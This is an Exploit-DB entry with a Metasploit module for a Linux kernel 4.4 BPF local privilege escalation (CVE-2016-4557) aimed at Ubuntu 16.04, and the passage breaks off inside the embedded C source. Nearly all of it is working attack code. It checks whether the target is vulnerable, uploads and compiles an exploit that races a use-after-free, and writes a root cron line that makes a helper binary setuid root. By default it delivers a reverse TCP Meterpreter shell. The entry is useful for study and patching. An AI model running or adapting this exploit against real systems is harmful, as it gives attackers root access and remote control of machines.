Exploit-DB #40759
Description: Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2016-11-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Linux BPF Local Privilege Escalation',
        'Description'   => %q{
          Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
          sysctl is not set to 1, BPF can be abused to priv escalate.
          Ubuntu 16.04 has all of these conditions met.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'jannh@google.com',                    # discovery
            'h00die <mike@shorebreaksecurity.com>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2016-4557' ],
            [ 'EDB', '39772' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
            [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/mettle/reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => 'May 04 2016',
        'Privileged'     => true
      }
      ))
    register_options([
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
        OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
      ], self.class)
  end

  def check
    def check_config_bpf_syscall?()
      output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
      if output == 'CONFIG_BPF_SYSCALL=y'
        vprint_good('CONFIG_BPF_SYSCALL is set to yes')
        return true
      else
        print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
        return false
      end
    end

    def check_kernel_disabled?()
      output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
      if output != 'kernel.unprivileged_bpf_disabled = 1'
        vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
        return true
      else
        print_error('kernel.unprivileged_bpf_disabled is set to 1')
        return false
      end
    end

    def check_fuse?()
      lib = cmd_exec('dpkg --get-selections | grep ^fuse')
      if lib.include?('install')
        vprint_good('fuse is installed')
        return true
      else
        print_error('fuse is not installed.  Exploitation will fail.')
        return false
      end
    end

    def mount_point_exists?()
      if directory?('/tmp/fuse_mount')
        print_error('/tmp/fuse_mount should be unmounted and deleted.  Exploitation will fail.')
        return false
      else
        vprint_good('/tmp/fuse_mount doesn\'t exist')
        return true
      end
    end

    if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit

    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>

      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      #endif

      int uaf_fd;

      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_m